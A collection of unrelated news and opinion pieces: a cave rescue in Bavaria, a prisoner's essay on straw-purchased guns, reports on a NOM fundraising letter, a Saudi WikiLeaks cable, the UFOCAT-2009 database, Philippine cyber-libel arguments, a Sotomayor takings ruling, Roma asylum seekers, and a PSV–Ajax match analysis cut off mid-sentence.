-A German explorer who has been trapped in Germany's deepest cave underneath the Bavarian Alps for nine days was being winched back to safety on Monday in a dramatic rescue operation. Footage from inside the Riesending cave near Berchtesgaden shows Johann Westhauser being pulled through the cave on a stretcher.  The 52-year-old scientist, one of the researchers who discovered the cave, had been lying 1,000 metres (3,300ft) underground since being injured by a rockfall on 6 June. He was not able to climb back to the surface on his own as the ascent involves steep shafts and narrow tunnels. Doctors had to climb 4km (2.5 miles) into the cave to reach Westhauser and make sure he was well enough to be brought out.  An international rescue team has now managed to move Westhauser 350 metres in the first of four stages to bring him to the surface. Some 120 experts from Austria, Croatia, Italy, Germany and Switzerland are involved in the operation.  According to the Bavarian mountain rescue service, Westhauser was eating well and was feeling well in spite of suffering injuries to his head and having to cope with high levels of humidity. "The patient is feeling well," said the service's Stefan Schneider. "He's cosy and warm in his sleeping bag."  The rescue operation is expected to cost several million euros, and it remains unclear who or which country will carry the cost. According to Der Spiegel reported that the association of cave explorers had a fund to help researchers who are injured without insurance.
-On Sundays, I attend Protestant services at Attica Correctional Facility in New York. It’s my safe place. There’s a band, a choir, clapping, and hands-in-the-air yelling—“Thank you Jesus!” “Hallelujah!” Most prisoners are black with green uniforms, and the guards, posted at the back of the chapel, are all white with blue uniforms.  Reverend Tomlinson, a sixty-something black man from the Bronx who looks forty and wears shiny suits, has kind eyes and a big, bright smile. One Sunday last March, before he began his sermon, the Rev called a prisoner named Steffen Jones to the front of the congregation. Arm around Steffen’s shoulders, he told us that Steffen’s son Tyquan had been shot to death. He was fifteen. We bowed our heads and the Rev led us in prayer.  The writer in me couldn’t help opening my eyes in the middle of the prayer. We were praying to God, asking Him to ease Steffen’s pain, but God knew that we had brought that same pain to so many other parents.  Weeks later, I was facilitating a workshop with the Alternative to Violence Project, a civilian-run volunteer program that began after the Attica prison uprising in 1971. During a break I was talking to a prisoner who calls himself “Paradise,” convicted of trafficking guns and attempting to commit murder with one of them. From behind his big beard and permanent diamond grill, Paradise told me how he used to take drugs from Buffalo, New York, to rural towns in Pennsylvania. After selling the drugs, he’d ask customers with clean criminal records to buy guns for him. Paradise would take the guns back to Buffalo to sell or trade for more drugs.  This is a phenomenon known as straw purchasing, a dangerous loophole that has remained open for decades. I should know, my friends and I had gotten guns the same way in the mid-nineties.  Illegal private-party gun sales account for as much as 40% of gun purchases in the US.  Conventional wisdom holds that if a problem exists—like, say, a loophole that allows untraceable gun purchases–we should just close it. And yet, illegal private-party gun sales account for as much as 40% of gun purchases in the US. Why do we refuse to actually address such a patently—and demonstratively—dangerous problem in American society?  First, apathy. Much of gun violence in America occurs in the self-absorbed world of gangster culture. Recently in the yard I was talking to a nineteen-year-old boy who calls himself “Shots.” He’s serving a sentence of 45 years to life for shooting and killing one victim and wounding another. He told me guns are so ubiquitous in his native Rochester, New York, that he once stumbled upon a nine millimeter handgun while walking in a field of weeds. He took it home. He was twelve.  Some in mainstream culture observe the behavior of incarcerated men like me with apathy: “Let them kill one another,” they say. The reality is some people refuse even to fill out one extra form or wait one extra minute when buying a gun, even if those measures would save a life. But the real apathy exists within the gun lobby. The NRA and like-minded interest groups justify the status quo with red-herring debates and self-righteous interpretations of the Second Amendment. This isn’t about politics, it’s about greed. The wicked irony, of course, is that mass shootings have in the past increased demand and positively effect earnings.  John Lennon The author last year.  Gun lobbyists are a big part of the problem, and yet there is some truth to that infamous slogan: guns don’t kill people, people do. Surely, some people are always going to do bad things. (Although I also believe those bad things would be harder to commit if guns weren’t so accessible.) There’s a toxic mindset that permeates the counterculture in America’s inner cities and prisons, and it will only end if we create opportunities for the disconnected youth and young adults immersed in this lifestyle. But that will take time and support for the kinds of forward-thinking programs like the one that helped me get my act together.  As I wrote in The New York Times last April, we still have not realized the power of rehabilitation through information. Education in prison changes the lens through which we prisoners view the world, builds our moral fiber, and makes us more employable. All of this positive change will spill over into our communities when we return to them. (And remember, the vast majority of us will eventually return home, at least for a little while.)  There’s a toxic mindset that permeates the counterculture in America’s inner cities and prisons.  Keep in mind, too, that no one will be more impressionable to young aspiring gangsters than seasoned ex-cons. Street cred and intellect is a powerful combination. As for the gun-control opponents who believe gun violence stems from moral decay alone, well, I hope they choose to support the educational programs I describe. Opposing both gets us nowhere.  This isn’t to say some people aren’t trying to make changes. President Barack Obama was right on point when, at CNN’s Guns in America town hall, he told the sobering tale of a van full of straw purchased guns crossing state lines and winding up on the streets of Chicago. But clearly, awareness isn’t enough. We need to investigate individuals who make suspicious gun purchases—like white drug addicts with clean records who saunter into Virginia guns and ammo stores and buy cheap 380-caliber automatics, Taurus 9-millimeters, Tek Nines, and boxes of hollow point bullets—and then file reports claiming those guns stolen before they flip them to criminals on the street.  In fact, there is already a system in place that may be able to help: the e-Trace Firearm Tracing Program, an internet-based tracing program that the Bureau of Alcohol, Tobacco, Firearms, and Explosives (ATF) already uses. Once e-Trace is programmed accordingly, the Obama administration should provide gun merchandisers with an “Anti-Straw Purchase” memorandum and encourage them to show it to their customers. The memo itself could work as a deterrent by merely making gun buyers aware that e-Trace is investigating straw purchasers—and reminding them that handing guns over to felons is itself a felony punishable by up to ten years in prison. As someone who’s had firsthand experience with these kinds of crimes, I know how easy it is to get spooked.  The bottom line, though, is that straw purchasers need to be thrown a curve.  Unfortunately, there’s no telling how effective these e-Trace investigations will be. The bottom line, though, is that straw purchasers need to be thrown a curve. We need to prevent these transactions from happening in the first place, not implement increasingly stiffer sentences after the fact. I don’t think hefty, new retributive sentencing laws will make a difference.  At the end of the day, if Google and Facebook algorithms can track individual purchasing patterns for the sake of advertisement and capitalism, why can’t the federal government? The Fourth Amendment doesn’t say corporations can pry for profits, and yet they have their way with everyone’s social media accounts. The Second Amendment, meanwhile, does say guns should be “well-regulated.”  There are no easy solutions. My ideas, especially those involving privacy, are bound to make some people upset, especially the ones who romanticize anarchy and the Second Amendment. But what about the people who actually have to deal with the consequences of gun violence every day? Recently, I spoke with a real-life revolutionary at Attica named Anthony “Jalil” Bottoms, a former Black Panther who’s been in prison for the past 44 years for shooting two New York City cops. And though Jalil has a few reservations, on the whole, he agrees that any change that could prevent a gun being trafficked is a good one because it may save black lives That’s important to him. It should important be for all of us.  Reuters/File Attica Correctional Facility.  Which brings me back to the Alternative to Violence Project workshop. On a break, I found Steffen Jones and asked him if we could talk about his son. As it turns out, Steffen is serving 38 years to life for murder and attempted murder. More gangland quarrels; all settled with guns. Stoically, Steffen told me how his child Tyquan was shot in the back of the head as he sat unarmed in a car on a Syracuse street. I told him how sorry I was.  It reminded me of the December night in 2001 when I easily obtained a (straw purchased) assault rifle from a friend and used it to shoot an associate of mine named Alex in the head. He, too, sat unarmed in a car, this one on a Brooklyn street. I killed Alex after learning that he was extorting a man who sold drugs for me. I can’t change what I did even as I feel remorse for it—the responsibility for pulling the trigger is mine alone.  I can’t help but think about what would have happened that night if I hadn’t had access to that gun.  I can’t help but think about what would have happened that night if I hadn’t had access to that gun. Instead, maybe another sequence of events would have unfolded. Perhaps the effects of the Xanax I had taken would have worn off. Perhaps I would have slept on it and felt differently the next day. Perhaps we would have talked it out. Instead, there I was–emotionally empty and angry, and impulsive. Big gun in the trunk. A bit high. It was over in three seconds.  We of this life are engaged in a vicious cycle of hurt­—giving it, receiving it. Years ago, I was stabbed six times in a prison yard, and suffered a punctured lung as revenge for killing Alex. Had I been shot six times, I’d be dead.  I can’t speak to the motivations of those who commit crimes repeated ad nauseum on the nightly news. Such mass shootings, like the most recent in San Bernardino, stem from a hate to which I can’t relate. They are not the murders I know. What I do know about, however, are the kinds of murders that happen thousands of times each year. These are crimes committed by men like me, and despite what the NRA may say, at least some of them are preventable.  In June of 2015, nine beautiful people were gunned down after a Bible study at their church in Charleston, South Carolina. The members of Attica’s church are considered some of the most dangerous men in America—and yet it’s my safe place. I’m grateful that God is present in our church to bring out the best in us. I’m also grateful that guns are not accessible to bring out the worst in us.  This article is part of Quartz Ideas, our home for bold arguments and big thinkers.
-In a fundraising letter this week, Brian Brown, president of the National Organization for Marriage (NOM), claimed that President Barack Obama is foisting a “secular Left” agenda on the world that includes “normalizing pedophilia.”  Brown was recently elected president of the World Congress of Families (WCF), an international network of social conservative groups.  In a fundraising letter for the group, Brown warned that the “secular Left” is bent on undermining the “natural family.”  “All around the world, we see liberal secularists using the power of government to seek to undermine the natural family,” Brown wrote. “Urged on by wealthy elites, western powers – especially Barack Obama – demand that nations change their laws and policies in profoundly unwise and dangerous ways to embrace the agenda of the secular left – abortion on demand, an abandonment of marriage, acceptance of polygamy, normalizing pedophilia, transgenderism, stripping children of their inherent right to a mother and a father, etc.”  “While we've accomplished a tremendous amount over the years, the truth is that WCF can't continue to hold off the forces of darkness, and put them into retreat unless we are able to expand and grow.”  “This is a pivotal time in history for the natural family. Good people around the globe are willing to resist the demands of the secular left and the pressures of western powers to change their cultures and policies. But they need the leadership of WCF to continue to be effective and to help sustain the worldwide movement in support of the natural family,” he added.
-The Kingdom of Saudi Arabia is one of the world’s most conservative societies, with capital punishment dealt out regularly for violations of religious moral codes. Saudi citizens have been killed by the state for things such as adultry, disobedience and political dissidence.  But these rules apparently do not apply to the children of wealthy Saudi elites, according to a US State Department communication published by secrets outlet WikiLeaks.  Instead of adhering to a strict behavioral code as most other Saudis do, the elite youths are fond of parties featuring staples of many high-dollar Western blowouts, like copious amounts of alcohol, cocaine and hashish, along with a few “working girls” to boot.  The document shows how, behind closed doors and away from the country’s religious police, the rich stage elaborate parties and casually violate the very laws their government regularly, and many times brutally, upholds.  The revelation exposes a stunning duality in Saudi society that could provoke greater civil dissent as to how the nation is governed, at a time when many media critics have accused WikiLeaks of solely aiming to humiliate the US government with a cache of sensitive documents it lost control of.  Over the past year numerous stories have surfaced detailing a push-back against morals of old among Saudi women, a growing movement that came to a head in two instances where religious police were attacked after confrontations. In another such flare-up, from 2007, a Saudi woman sprayed a religious policeman in the face with pepper-spray while her friend filmed it on a cellphone.  The cable, which was marked “confidential,” also noted that an American energy drink supplier had sponsored one particularly lavish party thrown by an unnamed Saudi prince. The company’s name and the name of the party’s organizers were withheld. There are more than 10,000 princes in Saudi Arabia, one of America’s key allies in the Middle East.  “Saudi youth get to enjoy relative social freedom and indulge fleshly pursuits, but only behind closed doors — and only the rich,” the cable’s unnamed author observed. “Parties of this nature and scale are believed to be a relatively recent phenomenon in Jeddah. One contact, a young Saudi male, explained that up to a few years ago, the only weekend activity was ‘dating’ inside the homes of the affluent in small groups.  “It is not uncommon in Jeddah for the more lavish private residences to include elaborate basement bars, discos, entertainment centers and clubs. As one high society Saudi remarked, ‘The increased conservatism of our society over these past years has only moved social interaction to the inside of people’s homes.'”  Another recently leaked cable showed that the US believes Saudi financiers are still the chief supporters of Sunni militant groups like al Qaeda. A “Blue Ribbon” report on the 9/11 attacks had instead noted that al Qaeda raised money in Saudi Arabia but that no senior officials had provided material support.  President Obama recently provided a military aid package to Saudi Arabia estimated to be worth over $60 billion, according to the Pentagon. The package included the sale of advanced aircraft, such as F-15 fighter jets, and Apache and Black Hawk helicopters.  The complete cable was still available online mid-Wednesday. Saudi Arabia has over 27 million citizens, according to a recent estimate.
-UFOCAT-2009  UFOCAT-2009 is the latest updated version of the original UFOCAT sightings catalog. UFOCAT-2009 refers to a computer database of over 209,551 UFO reports and related information. It is the result of a 40-year effort that began during the Air Force sponsored Colorado UFO Project, also known as the "Condon Committee." UFOCAT was begun by Dr. David R. Saunders, who at the time was a co-Principal Investigator on the Colorado UFO study and professor of Psychology at the University of Colorado. Dr. Jacques Vallee contributed a large computer catalogue of approximately 6,000 cases at the project's inception.  The UFOCAT database has existed in some form or another since the spring of 1967 but went through an eight-year hiatus from 1982 to 1990 when it was neither updated nor utilized. In 1976 Dr. Saunders gave his version of UFOCAT to the Center for UFO Studies (CUFOS). From then until 1982 it was maintained and updated by Fred Merritt at the Chicago office of CUFOS. In those days the database was kept on a large IBM mainframe computer at a nearby computer facility, with magnetic tape backup. It eventually proved to be too expensive an endeavor for the Center to maintain on a mainframe, and consequently it was removed from active use and stored on tape.  In 1990 Dr. Don Johnson obtained a copy of UFOCAT on ten 3.5" diskettes from Dr. Saunders courtesy of Dr. John Derr of the U.S. Geological Survey. Dr. Derr had created the diskette version from one of the magnetic tape backups for his research use. Unfortunately he was unable to read the first portion of the tape and so we were missing the first 10,000 records. CUFOS fortunately had available an older magnetic tape backup copy of UFOCAT. By merging the two sources of data Johnson was able to recreate the catalogue as it existed in 1982. Since then over ten thousand additional records have been added.  With the great strides made in recent years in computer software and hardware technology, and with the substantial reduction in costs of computer RAM memory and disk storage, it made sense to revise the UFOCAT file structure. First using dBase IV and later Microsoft Access the file was converted to a modern relational database. Most of the single-letter codes from the 1970s version were replaced with longer, more understandable names. Several fields were added. A special emphasis was placed on improving the identification of the source for each UFO report, including the full name of the author and a much longer mnemonic code for the reference citation.  In the late 1970s and early 1980s several researchers prominent in the UFO field criticized the use of UFOCAT for conducting research. Perhaps foremost among these critics were Allan Hendry and Dr. Willy Smith. While we agree that many of these criticisms were indeed valid, we disagree with the central premise that it is impossible to use UFOCAT-2009 to conduct meaningful research.  We would first caution potential users not to expect to be able to begin and end their research using only UFOCAT-2009 as there are too many gaps in the data and, just like the Internet, not every source of information is as reliable and accurate as the next. The results obtained from UFOCAT-2009 are best thought of as a reference guide to the original sources for the crucial details. Otherwise, the distinction between poorly investigated reports and exhaustively studied sightings will be lost. However, you will substantially improve your search for information by using UFOCAT-2009. What was true when Allan Hendry wrote his critique of UFOCAT in 1979 is even truer today: UFOCAT2009 is without peer as a reference source. Thousands of hours went into creating it, and months have gone into revising it to improve its ease of use. It exists today as the most comprehensive reference tool and bibliographic source on UFO reports in existence.  The following information is available in UFOCAT-2009.  Primary record ID number  Order of primacy for records in a block concerning same incident  Indirect record ID number  Flag for non-primary entries  UFOCAT-2009 record ID number  Author's or Investigator's Name  Level of source  Code for identification of the direct source  Position within direct source  Code for identification of the indirect source  Position within indirect source  Year of report  Month  Day  Time (hour and minute)  Special flag for reporting accuracy of date and time, daylight savings time  Time Zone  Weather  Terrain (e.g. "forest")  Vehicle Flag (e.g. indicating that the witness was in a car)  Place name location  Special flag for reporting accuracy about location  Region of world abbreviation  State (or country) abbreviation  County (or province)  Number of witnesses  Age of principal witness or age composition of group  Sex of principal witness or gender composition of group  Flag for military or police witnesses  Witness name(s)  Absolute Sidereal Time (computed)  Hynek classification code  Vallee classification code  Credibility of report  Type and subtype of report  Flag for explainability of the report  Explanation of report (as given by source)  Number of objects (UFOs) reported  Duration of event  Size of object estimated by witnesses (log base 2)  Apparent size  Distance from UFO at closest approach estimated by witnesses (log base 2)  Color of UFO  Shape of UFO  Sound (if any) associated with UFO  Longitude  Flag field for geographical coordinates  Latitude  Short narrative of UFO incident including key words  The manual is available online.  NOTE: The longitude coordinates of UFOCAT-2009 are non-standard. This system uses decimal degrees with West and North as positive; East and South as negative. This is not the WSG84 world standard. These coordinates used in a GPS system such as Google Earth will give you the wrong location. It will be necessary to reverse the west longitude from positive to negative and east longitude from negative to positive. As the following correct sequence indicates.  Latitude comes before longitude North latitude is positive East longitude is positive South latitude is negative West longitude is negative  System requirements are Win XP/Win7. Space Requirement is 458 MB.  The current UFOCAT2009 does not run on Win 8/8.1/10. We are currently in the process of updating UFOCAT2009 for those operating systems using 64-bit. If you have a 64-bit copy of Microsoft Access 2010, 2013 or 2015 installed the updated database will work fine. If you do not have a 64-bit copy of Micosoft Access 2010, 2013 or 2015 installed you will then need to do a simple download of Acess 2010 Runtime X64 and install. Further details will be included in a Readme file. If you wish to order a copy please Contact US. Sorry, we are unable to provide a 32-bit version.  ORDERING & SHIPPING INFORMATION  The complete UFOCAT-2009 DVD is available for $40, which includes postage and handling. You can order by PayPal, by credit card, or by check or money order. For a mail in order print off the order form, check off UFOCAT-2009 under CUFOS Audio and Videocassettes and CD-Roms and send your order with payment to to CUFOS at P.O. Box 31335, Chicago, IL 60631. Include type of credit card (Visa, etc.), credit card number, and expiration date. Make checks payable to CUFOS. You may also order via the Buy Now button below. Allow 3-4 weeks for processing and shipping.
-But mere 'like' is OK, says Solicitor General Francis Jardeleza  MANILA, Philippines (UPDATED) - Merely liking a defamatory tweet will not constitute cyber libel under Republic Act No. 10175 or the Cybercrime Prevention Act, but reposting or retweeting it may send you to prison.  Solicitor General Francis Jardeleza made the clarification to reporters at the end of oral arguments at the Supreme Court (SC) on Tuesday.  "Ang [cyber] libel, yung i-republish mo, pwedeng may tama yun, republish -- you share or you retweet. Kung 'like' yun, may depensa ka na opinyon ko lang yun na maganda. 'I like,'" he said.  However, his statement was completely different in front of SC magistrates who grilled him on whether the crackdown on Internet crimes also covers mere approval of other people's opinion.  "A 'like' is an approval of opinion. The approval of the opinion 'Jones is a liar' can cause as much damage as actually saying 'Jones is a liar,'" Jardeleza told the high court.  Associate Justice Roberto Abad, who will write the decision on the case, called the law "bad."  “If ‘liking’ a post considered libelous is also libelous, then this law is bad. It can have chilling effect for those of us who like opinions, which we didn’t author in the first place,” he said.  The 68-year-old high court magistrate said he also has a Facebook account.  Other justices questioned the constitutionality of online libel provision in Section 4 (c) of the cybercrime law.  Carpio: Law on libel unconstitutional  Senior Justice Antonio Carpio said previous Supreme Court rulings have already declared unconstitutional the libel provision in Section 354 of Revised Penal Code, where Section 4 (c) of the cybercrime law was taken.  "Article 354 on libel cannot stand scrutiny of constitutionality," Carpio told Jardeleza.  Associate Justice Marvic Leonen, the latest appointee of President Benigno Aquino to the high court, agreed with Carpio.  "Jurisprudence on actual malice has amended the Revised Penal Code. Why is it in the cybercrime law, libel repeats Article 355 and not the jurisprudence? The libel of 1932 is not the libel we know today," Leonen told Jardeleza.  Jardeleza, meanwhile, said it would be "up to the court" to declare unconstitutional the online libel provision in the cybercrime law.  'Strike down take-down clause'  The Solicitor General earlier admitted that the cybercrime law's Section 19, more notoriously known as the "takedown clause," is unconstitutional.  The clause allows the Department of Justice to block access to computer data or websites even without a warrant issued by a court.  “We humbly submit that Section 19 be struck down as it impermissibly intrudes into free speech. We too believe in freedom of speech and expression,” he said.  Jardeleza also admitted during the interpellation that Section 12 of the law that allows real-time collection of traffic data also without court review as "hardly constitutional."  He said "due cause" should first be present.  "Traffic data can be acquired if there is due cause, which is a function of the executive (branch). Rights will be better protected with judicial intervention," Jardeleza said.  Double jeopardy  Jardeleza also told the high court that the Cybercrime Prevention Act does not spell out a different set of penalties for libel committed in cyberspace, rather, it directs that the offense be penalized a degree higher than what is provided for under the Revised Penal Code.  However, the justices pointed out that Section 7 of the assailed law does not contain the Solicitor General's view as it states that "[a] prosecution under this Act shall be without prejudice to any liability for violation of any provision of the Revised Penal Code, as amended, or special laws."  The justices stressed that Section 7 thus allows double jeopardy on the part of the accused.  Questions were also raised by the magistrates in connection with the vagueness of certain provisions of the law, including what constitutes "due cause" for a cyber offence, with some justices pointing out that this may be subject to abuse on the part of law enforcement agents.  Jardeleza, however, maintains that apart from the Department of Justice's "takedown powers" over websites, the rest of the provisions of the law should be upheld as legal by the high court.  The case was submitted for resolution after the end of the 2-part oral arguments that also included the side of the 15 groups that have filed petitions against the law. -- with reports from Ina Reformina, ABS-CBN News  * Download and Listen to the audio recording of oral arguments by the Office of the Solicitor General on the cybercrime law, as recorded and shared online by the Supreme Court on January 29, 2013.
-“This is the worst federal court takings decision since Kelo,” said Ilya Somin, who teaches property law at George Mason University and helped write the brief. “It’s very extreme, and it is significant as a window into Judge Sotomayor’s attitudes toward private property.”  But another author of the brief, Richard A. Epstein, said the decision in Mr. Didden’s case was a rare misfire that provided no larger insights into Judge Sotomayor’s thinking.  “It’s a disappointment and it’s wrong and it’s ill thought out,” Professor Epstein, a law professor at the University of Chicago and New York University, said of the ruling. “But it’s not one of six. It’s one of two.” (The other poorly handled decision, he said, was Ricci v. DeStefano, which rejected employment discrimination claims from white firefighters in New Haven.)  The case arose from a meeting in 2003 between Mr. Didden, who owned property in Port Chester, N.Y., and an executive of a company that had been designated by the village to develop a 27-acre urban renewal area that included part of the property. What happened at that meeting, Mr. Didden said, amounted to extortion.  Mr. Didden had made arrangements to put a CVS drug store on his lot. At the meeting, the executive, Gregg Wasser, demanded $800,000 as the price for permission to proceed with that project, Mr. Didden said in court papers. The alternative, Mr. Wasser said, according to the papers, was to have the village condemn Mr. Didden’s property so that Mr. Wasser’s company could put a Walgreen’s in the same place.  “Here is a private person standing in the shoes of the government with the power to condemn or not condemn,” Mr. Didden said. “The $800,000 wasn’t going to rehabilitate a public park or build a soccer stadium. It was going into his pocket.”  Mr. Didden refused. The next day the village condemned his property.  Mr. Wasser did not respond to a recent message seeking comment left with an assistant. In a sworn statement in 2004, he denied being “part of an ‘extortion’ plot” and said the accusation was “beyond my comprehension.” The meeting, he said, was a settlement negotiation concerning competing claims to the same property. “An $800,000 figure,” he said, “was an appropriate buyout.”  Photo  Mr. Didden and a business partner sued, and a federal judge dismissed their case in 2004. When the case reached Judge Sotomayor’s court, the United States Court of Appeals for the Second Circuit, Mr. Didden said he had reason to be hopeful.  Advertisement Continue reading the main story  “She was highly engaged,” Mr. Didden said of Judge Sotomayor’s questioning at the argument in 2005. The other members of the panel were Judges Reena Raggi and Peter W. Hall.  “We felt like we got our day in court,” Mr. Didden said. “We felt that she got the point.”  But then more than a year passed. In the end, the decision was terse and unsigned, and it rejected Mr. Didden’s claims.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “It took 54 weeks to issue those four paragraphs,” Mr. Didden said. According to the Administrative Office of the United States Courts, the median interval between argument and decision in the Second Circuit, both then and now, is less than a month.  The brief decision in Didden made two points. First, it said Mr. Didden had filed his suit too late. The village had announced the redevelopment plan in 1999, and Mr. Didden did not sue until 2004. His claim, the court said, was therefore barred by a three-year statute of limitations.  That was a curious ruling, Professor Epstein said, because it required Mr. Didden to sue over his claim of extortion before it happened.  The court also rejected Mr. Didden’s claim that Port Chester should not be allowed to take his property so that another company could build a different drug store. The takings clause of the Fifth Amendment — “nor shall private property be taken for public use without just compensation” — should not apply, he had argued, to such transfers.  Judge Roberts, at his confirmation hearings in 2005, seemed sympathetic to that kind of argument. The takings clause is uncontroversial when it is used to take property for public purposes like roads and schools. But it is a “basic proposition,” Judge Roberts added, that “government can’t take property from A and give it to B.”  No one disputes that Mr. Didden and his partner are entitled to be compensated for his property. Mr. Didden said the final amount had not been determined.  Advertisement Continue reading the main story  But Judges Roberts and Alito, at their confirmation hearings, said larger issues are involved in government takings.  “It touches some very sensitive nerves,” Judge Alito said. “Taking their home away and giving them money in return, even if they get fair market value for the home, is still an enormous loss for people.”  Judge Roberts, who said he had been surprised by the Kelo decision, said he welcomed new state laws “saying we do not authorize the use of the power of eminent domain to take for a use that’s going to be from one private owner to another.” Such laws, he said, are “certainly an appropriate reaction to a court’s decision in this area.”  He added that the author of the majority opinion in Kelo, Justice John Paul Stevens, had said at a bar association meeting that he would have voted against the takings plan had he been a legislator rather than a judge making a constitutional determination. “The free play of market forces is more likely to produce acceptable results in the long run than the best-intentioned plans of public officials,” Justice Stevens said in the speech.
-For Orhan, the road to Germany begins in an Internet café on a side street in Shutka, the Roma neighborhood in the northern part of the Macedonian capital, Skopje. Electric cables hang from the ceiling, a white fluorescent tube illuminates dusty computer screens and a plastic tarp serves as a divider. Orhan, 27, is standing nervously behind the tarp as he lights a cigarette. His sister Fatima is sitting in front of one of the monitors, about to have her first date with Germany.  While Fatima waits on a wooden chair in Shutka, her future husband is sitting on a leather couch in Düsseldorf, looking at his webcam. They are seeing each other for the first time today. Fatima's ticket to Germany is 19, he's wearing a hoodie and he's rather fat. Fatima's mother and some women from the neighborhood are chaperoning the meeting. They all want to know whether Fatima will like the young man from Germany. They hope that if she does, her family could get out of Shutka, the unofficial capital of the Roma community in Europe.  When you walk through the streets of Shutka, you hear people cursing, saying things like "Shitty Shutka," "everyone makes fun of us here" and "we don't have any money." They say these things in German.  Some of Shutka's Roma worked as day laborers in German cities in the 1990s. Many were war refugees who had sought asylum in Germany during the war in Yugoslavia, only to be deported after the conflict ended. They still have friends and relatives in Germany, and the country is always on their minds, as a promise of prosperity and a better life.  Orhan says that if the arranged marriage goes well, the stranger will come to Shutka and take Fatima with him to Düsseldorf. The new son-in-law, he explains, will then pay for bus tickets for the rest of the family. And once all seven family members are in Germany, he will file the asylum applications for them. Orhan says that one always needs a helper, someone who is familiar with German law, an asylum guide, so to speak, so that everything works out well for a new beginning in Germany. People who try to do it on their own, he adds, make too many mistakes.  Serbia Closer, and Farther Away  The Roma neighborhoods of the Serbian capital, Belgrade, are 450 kilometers (280 miles) closer to Germany, but for the people there, Germany seems much farther away. In Antena, an illegal settlement at the end of the No. 75 bus line, there is no Internet and no Skype, and none of the residents have relatives in Germany. For that reason, there is no one to show people the best way to get there. There are only people like Asim, 25, who is standing behind a burning pile of garbage, warming his hands. He has no identification documents and no birth certificate, which means no work, no welfare and no child benefits. Car tires support the cardboard roof of his corrugated metal hut. Inside, Asim's wife is nursing their six-month-old daughter, who is wearing diapers made of napkins Asim has collected from the garbage of Belgrade residents. The adults use holes in the ground as their toilets. The air is filled with the smell of moldy food and the acrid stench of burning plastic.  Asim says it's a good day in Antena when the gravediggers at the adjacent cemetery don't turn off the water, so that residents of the shantytown can fill up their plastic bottles. They count themselves lucky when the power is on in the nearby residential neighborhood so they can illegally siphon off electricity. They're happy when they manage to protect their daughter's face from rat bites at night. Asim asks: "When, if not now, should I get out of this miserable place?"  Since the end of 2009, citizens of Macedonia and Serbia no longer need visas to enter Germany. The European Union wants to show its goodwill to the two countries, which are candidates for accession to the bloc. But for the poorest of the poor in Macedonia and Serbia, visa-free travel represents the freedom to get away.  Less than 1 percent of asylum applications from Serbia and Macedonia are accepted. People suspect that they too will be unsuccessful, but they don't understand why. They still go to Germany, and they want to stay. Everyone has their own approach to obtaining the better life he or she expects to find in Germany. Orhan from Macedonia wants to send his sister in advance. Asim from Serbia simply plans to set out into the unknown. Some are poor and without prospects, and they go to Germany because they know what a rich country it is. Others go there because they can no longer stand their current lives.  By October of this year, about 4,000 people from Macedonia had filed an application for asylum in Germany -- about five times as many as last year. Only Serbia has produced more asylum applicants since this summer, a total of about 7,000. Most are Roma.  Dreams of Welfare  The current offers are displayed in the window of a travel agency on the market square in Shutka. A bus ticket from Macedonia to France costs €27 ($34), while the trip to Düsseldorf goes for €120, even though it's a shorter distance. Orhan explains that demand determines the prices here, and that Germany happens to have the better reputation among the 40,000 people in Shutka.  Their mayor is the only mayor in Macedonia who is also Roma. Nevertheless, Shutka doesn't feel like home to many of its residents. The people on the market square dream of a life in Western Europe, with most hoping to go to Germany. Unlike residents of the Belgrade neighborhood, the people in Shutka are well informed about Germany's social welfare system. They talk about "job centers," and some even use German slang terms. They know how generous the child benefits are, and they have heard about the hospitals and schools. They also know that asylum applicants have been receiving more money since August.  Young men like Orhan are mainly responsible for Germany's good reputation in Shutka. They tell nostalgic stories of the paradise between Fürth in Bavaria and Osnabrück in the north, of the country they remember from their childhood. Orhan's parents fled from Albania to Paderborn in northwestern Germany in 1986. The Roma family applied for asylum there, Orhan went to elementary school and learned the language. The family's German dream lasted six years.  It ended in the early 1990s, when the government in the state of North Rhine-Westphalia decided it wanted to get rid of the Roma. But instead of simply deporting them, the Social Democrats came up with a so-called reintegration program. The idea was to help the deportees once they had returned to their native countries. Orhan's father accepted the Germans' repatriation offer, for which he received 300 deutschmarks for travel expenses, as well as 400 deutschmarks a month for six months to help him settle in Shutka.  The family lived in a 60-square-meter (645-square-foot) house in Shutka, paid for by the state of North Rhine-Westphalia, in a place with no sewer system, running water or garbage collection. No one there had a real chance at finding work. Most of those who were reintegrated had never been to Shutka before. The aid workers stayed for a few years, and then left. Orhan points to the now-abandoned Red Cross building and to the pile of rubble where the Caritas relief agency had its offices.
-PSV twice took the lead by exploiting a clear weakness in the Ajax defence, but the away side managed to claim a point.  Fred Rutton made two changes from PSV’s previous league game. Wilfred Bouma and Zakaria Labyad dropped out, with Timothy Derijck and Tim Matavz coming in.  Frank de Boer was without Miralem Sulejmani and chose to bring Vurnon Anita into the side as the holding player.  This match was open and entertaining, largely because there were two attack-minded midfields who wanted to play the ball rather than win it back.  PSV start strongly  For the first few minutes there was a huge difference in the two sides’ attitude without the ball – PSV pressed Ajax strongly from the first whistle, winning the ball quickly and putting them in command of the game. Ajax, however, were happy to sit back in their own half, showing a surprisingly passive approach when out of position.  The first goal resulted directly from the pressing – Ajax were high up the pitch when Gregory van der Wiel was dispossssed, and some neat passes down the PSV left eventually resulted in Tim Matavz finishing well. The battle in that part of the pitch – Ajax’s right-back zone – turned out to be the key battleground of the game.  Midfield battle  PSV’s pressing didn’t last long, however, and the game settled down into a fairly tame, free-flowing midfield battle based around movement rather than tackling. PSV’s two attack-minded central midfielders, Ola Toivonen and Georgino Wijnaldum, showed a decreasing amount of interest in defending as the game progressed, and it was a surprise that Theo Janssen didn’t influence the game more when breaking forward from central midfield.  There was some confusion in the way Ajax played to the right of the pitch. Cristian Eriksen played as a narrow right-winger, tucked into the midfield, whilst Siem de Jong started to the right of the triangle and burst forward. In addition, van der Wiel tried to motor forward on the overlap, and presumably there was the intention of making a triangle on that flank to overload PSV – but it never quite worked, and the main outcome was the leave the flank ripe for PSV counters, through Erik Pieters and Dries Mertens.  Ajax step it up  The injury to PSV goalkeeper Przemysław Tytoń, which stopped the game for 15 minutes at the end of the first half, was a key factor in the game. PSV’s momentum was broken up, and after that stoppage Ajax regrouped and started to press much more. They played the game in PSV’s half and eventually found an equaliser through Kolbeinn Sigþórsson – for all their attempts at intricate play, it was Sigþórsson 